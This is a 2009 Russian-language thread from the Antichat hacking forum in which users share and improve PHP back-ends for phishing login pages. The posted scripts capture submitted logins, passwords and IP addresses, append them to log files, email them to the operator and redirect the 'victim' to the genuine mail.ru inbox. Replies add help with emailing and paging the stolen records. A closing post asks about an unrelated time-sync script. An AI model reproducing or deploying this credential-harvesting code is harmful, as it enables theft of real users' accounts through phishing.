Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

23.11.2009, 13:47
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме: 1734541
Репутация:
214
|
|
Сообщение от xofffff
Есть скрипт сохранение данных в файл base.php вот он:
Вопрос: Как сделать что бы еще приходило на email эти же данные?
PHP код:
<?PHP
$Login = $_POST['Login']; // Читаем логин
$Domain = $_POST['Domain']; // Домен
$Pass = $_POST['password']; // Пароль
$Data = date("d-m-y H:i:s", time()); // Дата и время
$mail="your@mail.ru";
$subj="Пароли и т.д.";
// Записываем полученные данные
$text = "Дата:[$Data] Логин:$Login Пароль:$Pass";
$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем
mail($mail,$subj,$text);
header('Location: http://win.mail.ru/cgi-bin/msglist');
// Переводим жертву на
// указанный адрес
?>
|
|
|

23.11.2009, 14:02
|
|
Познающий
Регистрация: 16.11.2009
Сообщений: 38
Провел на форуме: 261594
Репутация:
15
|
|
Сообщение от svesve
PHP код:
<?PHP
$Login = $_POST['Login']; // Читаем логин
$Domain = $_POST['Domain']; // Домен
$Pass = $_POST['password']; // Пароль
$Data = date("d-m-y H:i:s", time()); // Дата и время
$mail="your@mail.ru";
$subj="Пароли и т.д.";
// Записываем полученные данные
$text = "Дата:[$Data] Логин:$Login Пароль:$Pass";
$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем
mail($mail,$subj,$text);
header('Location: http://win.mail.ru/cgi-bin/msglist');
// Переводим жертву на
// указанный адрес
?>
Благодарен
а что это ? $subj="Пароли и т.д.";
|
|
|

23.11.2009, 14:11
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Тема письма
|
|
|

23.11.2009, 18:12
|
|
Новичок
Регистрация: 29.05.2009
Сообщений: 14
Провел на форуме: 43475
Репутация:
2
|
|
Вопрос по фейку. Вот есть простой скрипт фейка
PHP код:
<?PHP
$date=date("[d/m/Y|H:i]");
$ip = @$_SERVER['REMOTE_ADDR'];
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$c = "$date | [$ip]
$Login;$Pass";
$fp = fopen("log.html","a+");
fwrite($fp,"\n$c\n");
fclose($fp);
?>
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
|
|
|

23.11.2009, 18:53
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме: 2603363
Репутация:
278
|
|
amBX
Следуя Вашему скрипту, логи будут записываться так:
|
|
|

23.11.2009, 18:58
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от amBX
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
Просто придти к тому, что на данном этапе пора уже начинать юзать БД и не маяца херней с файлами. Решение есть, но он не есть оптимальное. С файлами надо делать лишь простейшие операции, когда дело доходит до сортировок и выборок всяческих - короче БД не просто так придумали ради красоты и понтов
PS: Если таки хочется - берешь весь файл в массив и сортируешь в обратном порядке, затем выводишь первые 40 записей
работа с массивами здесь очень подробно и с примерами расписана:
http://www.php.ru/manual/ref.array.html
Последний раз редактировалось Pashkela; 23.11.2009 в 19:11..
|
|
|

23.11.2009, 19:23
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
PHP код:
$file=file("log.html");
$count=count($file);
for($i=$count;$i>=(($count)-40);$i--){
$log.=$file[$i]."\r\n";
}
|
|
|

23.11.2009, 19:40
|
|
Новичок
Регистрация: 01.11.2009
Сообщений: 21
Провел на форуме: 29290
Репутация:
5
|
|
Сообщение от L I G A
PHP код:
$file=file("log.html");
$count=count($file);
for($i=$count;$i>=(($count)-40);$i--){
$log.=$file[$i]."\r\n";
}
Извращение. Лучше через бд. Там элементарно.
|
|
|

23.11.2009, 19:43
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
Сообщение от Luck3r
Извращение. Лучше через бд. Там элементарно.
о БД речи не было
|
|
|

23.11.2009, 19:47
|
|
Новичок
Регистрация: 29.05.2009
Сообщений: 14
Провел на форуме: 43475
Репутация:
2
|
|
Да знаю что без БД ни куда((( Буду пробывать, учить.
У меня есть новый вопрос =) Нашел скрипт точного времени, но время отображается на 3 часа позже чем в моём городе, можно это исправить? (Время по хостингу ставить не хочу, т.к. там кривое время с разницой в 15-17 мин)
PHP код:
<?php
function sinctimestamp($host) {
if (!$fp = fsockopen($host,13,$errno,$errstr,1)) return false;
$s = strtotime(fgets($fp));
fclose($fp);
return $s;
}
$tocnoje_vrema = date('d-m-Y H:i:s', sinctimestamp('ntp.colocall.net'));
echo $tocnoje_vrema;
?>
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|